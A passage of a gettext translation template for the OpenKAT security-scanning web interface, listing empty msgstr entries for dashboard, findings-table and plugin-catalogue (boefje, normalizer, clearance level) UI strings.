crisis_room/templates/partials/dashboard_finding_list.html\nmsgid \"Go to findings\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"Findings table \"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: crisis_room/templates/partials/dashboard_ooi_list_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_list.html\nmsgid \"column headers with buttons are sortable\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"Show details for %(finding)s\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_page_tabs.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#: rocky/views/mixins.py\nmsgid \"Tree\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_page_tabs.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#: rocky/views/mixins.py\nmsgid \"Graph\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/dns_report/report.html\n#: rocky/templates/oois/ooi_detail_findings_list.html\n#: rocky/templates/oois/ooi_detail_findings_overview.html rocky/views/mixins.py\nmsgid \"Severity\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/dns_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\n#: rocky/views/mixins.py\nmsgid \"Finding\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\nmsgid \"Finding type\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"Show details for %(finding_type)s\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"OOI type\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"Show %(ooi_type)s objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/views/mixins.py\nmsgid \"Location\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#, python-format\nmsgid \"Show details for %(ooi)s\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"Risk score\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: katalogus/templates/normalizer_detail.html\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/summary/report_asset_overview.html tools/forms/boefje.py\n#: tools/forms/finding_type.py rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_detail.html\n#: rocky/templates/oois/ooi_detail_findings_list.html rocky/templates/scan.html\nmsgid \"Description\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/multi_organization_report/recommendations.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_severity_totals_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"Recommendation\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/vulnerability_report/report.py\n#: reports/templates/partials/report_findings_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_detail_origins_inference.html\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Source\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/templates/partials/report_findings_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"Impact\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Options for dashboard items\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Show description\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Hide description\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Position up\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Position down\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Rerun report\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\n#: crisis_room/templates/partials/delete_dashboard_item_modal.html\nmsgid \"Delete item\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_ooi_list.html\n#, python-format\nmsgid \"Showing %(length)s objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_ooi_list.html\nmsgid \"Go to objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_ooi_list_table.html\n#: rocky/templates/oois/ooi_list.html\nmsgid \"Objects \"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/delete_dashboard_item_modal.html\n#, python-format\nmsgid \"Are you sure you want to delete '%(name)s' from this dashboard?\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/delete_dashboard_item_modal.html\n#: crisis_room/templates/partials/delete_dashboard_modal.html\n#: katalogus/templates/plugin_settings_delete.html\n#: katalogus/views/plugin_settings_delete.py\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/oois/ooi_list.html\n#: rocky/templates/partials/delete_ooi_modal.html rocky/views/ooi_delete.py\nmsgid \"Delete\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/delete_dashboard_modal.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to delete dashboard '%(dashboard)s'? All the items on \"\n\"the dashboard will be deleted as well.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\nmsgid \"Actions for adding dashboard items\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\nmsgid \"Add item\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/summary/ooi_selection.html tools/forms/ooi.py\n#: tools/view_helpers.py rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/admin/delete_selected_confirmation.html\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html rocky/views/ooi_add.py rocky/views/ooi_list.py\n#: rocky/views/ooi_view.py rocky/views/upload_csv.py rocky/views/upload_raw.py\nmsgid \"Objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_explanation_modal.html\nmsgid \"Add dashboard item\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_explanation_modal.html\nmsgid \"\"\n\"To  add a <strong>report section</strong>, go to the history page and open a \"\n\"report. Then go to the section that you want to add to your dashboard and \"\n\"press the options button next to the section name to create a dashboard item.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_explanation_modal.html\nmsgid \"Go to report history\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#, python-format\nmsgid \"\"\n\"\\n\"\n\"    Add %(item_type)s to dashboard\\n\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#, python-format\nmsgid \"\"\n\"Add these %(item_type)s with the selected filters to the dashboard of your \"\n\"choice.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#: katalogus/templates/partials/no_enabling_permission_message.html\n#: katalogus/templates/plugin_container_image.html\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\n#: rocky/templates/partials/form/field_input_help_text.html\n#: rocky/templates/partials/notifications_block.html\n#: rocky/templates/two_factor/core/login.html\nmsgid \"explanation\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"You do not have a custom dashboard yet\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#, python-format\nmsgid \"\"\n\"In order to add these %(item_type)s to a dashboard, you first need to create \"\n\"a dashboard. Please add a dashboard in the crisis room of your organization.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_list.html\nmsgid \"Add to dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"Go to crisis room\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"Add report section to dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"\"\n\"In order to add this report section to a dashboard, you first need to create \"\n\"a dashboard. Please create a dashboard in the crisis room of your \"\n\"organization.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"Report must be scheduled for dashboard items\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"\"\n\"In order for dashboard information to be updated on a regular basis instead \"\n\"of showing static data, the report should be scheduled. The frequency of the \"\n\"schedules recurrence determines how fresh the data on the dashboard will be.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\nmsgid \"Applied filters\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\nmsgid \"Object types\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: katalogus/templates/change_clearance_level.html onboarding/forms.py\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/summary/ooi_selection.html tools/forms/boefje.py\n#: tools/forms/ooi.py rocky/templates/oois/ooi_page_tabs.html\n#: rocky/templates/partials/explanations.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html rocky/views/mixins.py\nmsgid \"Clearance level\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/summary/ooi_selection.html tools/forms/ooi.py\n#: rocky/views/mixins.py\nmsgid \"Clearance type\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Input objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\nmsgid \"Show all objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: reports/templates/partials/report_types_selection.html\nmsgid \"No filters applied\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_section_action_button.html\nmsgid \"Add section to dashboard\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"\"\n\"The KATalogus has an unexpected error. Check the logs for further details.\"\nmsgstr \"\"\n\n#: katalogus/client.py\n#, python-format\nmsgid \"An HTTP %d error occurred. Check logs for more info.\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"An HTTP error occurred. Check logs for more info.\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"Boefje with this name already exists.\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"Boefje with this ID already exists.\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"Access to resource not allowed\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to see plugin settings\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to set plugin settings\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to delete plugin settings\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to view plugin settings\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to access the other organization\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to enable plugins\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to disable plugins\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to create plugins\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to edit plugins\"\nmsgstr \"\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Show all\"\nmsgstr \"\"\n\n#: katalogus/forms/katalogus_filter.py\n#: katalogus/templates/partials/enable_disable_plugin.html\n#: katalogus/templates/partials/plugin_tile_modal.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Enabled\"\nmsgstr \"\"\n\n#: katalogus/forms/katalogus_filter.py\n#: katalogus/templates/partials/enable_disable_plugin.html\n#: katalogus/templates/partials/plugin_tile_modal.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Disabled\"\nmsgstr \"\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Enabled-Disabled\"\nmsgstr \"\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Disabled-Enabled\"\nmsgstr \"\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Filter options\"\nmsgstr \"\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Sorting options\"\nmsgstr \"\"\n\n#: katalogus/forms/plugin_settings.py\nmsgid \"This field is required.\"\nmsgstr \"\"\n\n#: katalogus/templates/about_plugins.html\n#: katalogus/templates/partials/plugins_navigation.html\nmsgid \"About plugins\"\nmsgstr \"\"\n\n#: katalogus/templates/about_plugins.html katalogus/templates/katalogus.html\nmsgid \"\"\n\"Plugins gather data, objects and insight. Each plugin has its own focus area \"\n\"and strengths and may be able to work with other plugins to gain even more \"\n\"insights.\"\nmsgstr \"\"\n\n#: katalogus/templates/about_plugins.html katalogus/templates/boefjes.html\nmsgid \"\"\n\"Boefjes are used to scan for objects. They detect vulnerabilities, security \"\n\"issues, and give insight. Each boefje is a separate scan that can run on a \"\n\"selection of objects.\"\nmsgstr \"\"\n\n#: katalogus/templates/about_plugins.html katalogus/templates/normalizers.html\nmsgid \"\"\n\"Normalizers analyze the information and turn it into objects for the data \"\n\"model in Octopoes.\"\nmsgstr \"\"\n\n#: katalogus/templates/about_plugins.html\nmsgid \"\"\n\"Bits are business rules that look for insight within the current dataset and \"\n\"search for specific insight and draw conclusions.\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/partials/plugin_tile_modal.html\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Scan level\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/normalizer_detail.html\nmsgid \"Consumes\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_detail.html\n#, python-format\nmsgid \"%(plugin_name)s is able to scan the following object types:\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/normalizer_detail.html\n#, python-format\nmsgid \"%(plugin_name)s does not need any input objects.\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/normalizer_detail.html\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"Produces\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/normalizer_detail.html\n#: katalogus/templates/partials/plugin_tile_modal.html\n#, python-format\nmsgid \"%(plugin_name)s can produce the following output:\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_detail.html\n#, python-format\nmsgid \"%(plugin_name)s doesn't produce any output mime types.\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Boefje variant setup\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\n#: rocky/templates/organizations/organization_member_list.html\n#: rocky/templates/organizations/organization_settings.html\n#: rocky/views/ooi_edit.py rocky/views/organization_edit.py\nmsgid \"Edit\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Boefje setup\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"\"\n\"You can create a new Boefje. If you want more information on this, you can \"\n\"check out the <a href=\\\"https://docs.openkat.nl/developer_documentation/\"\n\"development_tutorial/creating_a_boefje.html\\\">documentation</a>.\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"Save changes\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Discard changes\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Create variant\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Discard variant\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Create new Boefje\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Discard new Boefje\"\nmsgstr \"\"\n\n#: katalogus/templates/boefjes.html\nmsgid \"Add Boefje\"\nmsgstr \"\"\n\n#: katalogus/templates/boefjes.html katalogus/templates/katalogus.html\n#: katalogus/templates/normalizers.html\nmsgid \"available\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\n#: katalogus/templates/partials/objects_to_scan.html\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"scan level warning\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\n#, python-format\nmsgid \"\"\n\"%(plugin_name)s will only scan objects with a corresponding clearance level \"\n\"of <strong>L%(scan_level)s</strong> or higher.\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\nmsgid \"Scan object\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\n#, python-format\nmsgid \"\"\n\"The following objects are not yet cleared for level %(scan_level)s, please \"\n\"be advised that by continuing you will declare a level %(scan_level)s on \"\n\"these objects.\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"Selected objects\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/summary/ooi_selection.html rocky/views/mixins.py\nmsgid \"Object\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\nmsgid \"Are you sure you want to scan anyways?\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"Scan\"\nmsgstr \"\"\n\n#: katalogus/templates/clone_settings.html\n#: katalogus/templates/confirmation_clone_settings.html\nmsgid \"Clone settings\"\nmsgstr \"\"\n\n#: katalogus/templates/clone_settings.html\n#, python-format\nmsgid \"\"\n\"Use the form below to clone the settings from \"\n\"<strong>%(current_organization)s</strong> to the selected organization. This \"\n\"includes both the KAT-alogus settings as well as enabled and disabled \"\n\"plugins.\"\nmsgstr \"\"\n\n#: katalogus/templates/confirmation_clone_settings.html\nmsgid \"Clone\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus.html\nmsgid \"All plugins\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\nmsgid \"KAT-alogus settings\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\nmsgid \"\"\n\"There are currently no settings defined. Add settings at the plugin detail \"\n\"page.\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\n#: rocky/templates/two_factor/core/otp_required.html\nmsgid \"Go back\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\nmsgid \"This is an overview of the latest settings of all plugins.\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\nmsgid \"Latest plugin settings\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\nmsgid \"Plugin\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\n#: katalogus/templates/plugin_settings_list.html\n#: rocky/templates/oois/ooi_delete.html\nmsgid \"Value\"\nmsgstr \"\"\n\n#: katalogus/templates/normalizer_detail.html\n#, python-format\nmsgid \"%(plugin_name)s is able to process the following mime types:\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/boefje_tile.html\nmsgid \"This object type is required\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/boefje_tile.html\nmsgid \"Scan level:\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/boefje_tile.html\nmsgid \"Publisher:\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/boefje_tile.html\n#: katalogus/templates/partials/plugin_tile.html\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"See details\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/enable_disable_plugin.html\nmsgid \"Enable\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/enable_disable_plugin.html\n#: rocky/templates/two_factor/profile/disable.html\nmsgid \"Disable\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_filter.html\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/ooi_list_filters.html\n#: rocky/templates/partials/organization_member_list_filters.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"Hide filters\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_filter.html\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/ooi_list_filters.html\n#: rocky/templates/partials/organization_member_list_filters.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"Show filters\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_filter.html\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/ooi_list_filters.html\n#: rocky/templates/partials/organization_member_list_filters.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"applied\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_filter.html\nmsgid \"Filter plugins\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_filter.html\nmsgid \"Clear filter\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_header.html\n#: katalogus/views/change_clearance_level.py katalogus/views/katalogus.py\n#: katalogus/views/katalogus_settings.py katalogus/views/plugin_detail.py\n#: katalogus/views/plugin_settings_add.py\n#: katalogus/views/plugin_settings_delete.py\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html\nmsgid \"KAT-alogus\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_header.html\nmsgid \"An overview of all available plugins.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_header.html\n#: katalogus/templates/plugin_settings_list.html\n#: katalogus/views/katalogus_settings.py tools/view_helpers.py\n#: rocky/templates/header.html\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Settings\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_toolbar.html\nmsgid \"Gridview\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_toolbar.html\nmsgid \"Tableview\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/modal_report_types.html\nmsgid \"Required for\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/modal_report_types.html\nmsgid \"report types\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/modal_report_types.html\nmsgid \"Report types for \"\nmsgstr \"\"\n\n#: katalogus/templates/partials/no_enabling_permission_message.html\nmsgid \"No permission to enable/disable plugins\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/no_enabling_permission_message.html\nmsgid \"Contact your administrator to request permission.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/objects_to_scan.html\n#, python-format\nmsgid \"\"\n\"This Boefje will only scan objects with a corresponding clearance level of \"\n\"<strong>L%(scan_level)s</strong> or higher. There is no indemnification for \"\n\"this Boefje to scan an OOI with a lower clearance level than \"\n\"<strong>L%(scan_level)s</strong>. Use the filter to show OOI's with a lower \"\n\"clearance level.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/objects_to_scan.html\nmsgid \"Warning scan level:\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/objects_to_scan.html\nmsgid \"\"\n\"Scanning OOI's with a lower clearance level will result in OpenKAT \"\n\"increasing the clearance level on that OOI, not only for this scan but from \"\n\"now on out, until it manually gets set to something else again. This means \"\n\"that all other enabled Boefjes will use this higher clearance level aswel.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/objects_to_scan.html\n#, python-format\nmsgid \"\"\n\"You currently don't have any objects that meet the scan level of %(name)s. \"\n\"Add objects with a complying clearance level, or alter the clearance level \"\n\"of existing objects.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/objects_to_scan.html\n#, python-format\nmsgid \"\"\n\"You currently don't have scannable objects for %(name)s. Add objects to use \"\n\"this Boefje. This Boefje is able to scan objects of the following types:\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_settings_required.html\nmsgid \"The form could not be initialized.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_settings_required.html\nmsgid \"Required settings\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_settings_required.html\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Add\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_tile.html\nmsgid \"Required for:\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"Boefje details\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_tile_modal.html reports/forms.py\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Report types\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"This boefje is required by the following report types.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"Go to boefje detail page\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins.html\nmsgid \"Plugins overview:\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin name\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin type\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin description\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins.html\n#: reports/templates/partials/report_header.html\n#: reports/templates/report_overview/report_history_table.html\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Actions\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins.html\nmsgid \"Detail page\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins_navigation.html\n#: reports/templates/report_overview/report_overview_navigation.html\nmsgid \"Plugins Navigation\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins_navigation.html\n#: rocky/templates/scan.html rocky/templates/tasks/boefjes.html\n#: rocky/templates/tasks/partials/tab_navigation.html rocky/views/tasks.py\nmsgid \"Boefjes\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins_navigation.html\n#: rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/partials/tab_navigation.html rocky/views/tasks.py\nmsgid \"Normalizers\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins_navigation.html\n#: tools/forms/scheduler.py\nmsgid \"All\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html tools/forms/boefje.py\nmsgid \"Container image\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"The container image for this Boefje is:\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Variants\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"\"\n\"Boefje variants that use the same container image. For more information \"\n\"about Boefje variants you can read the documentation.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Add variant\"\nmsgstr 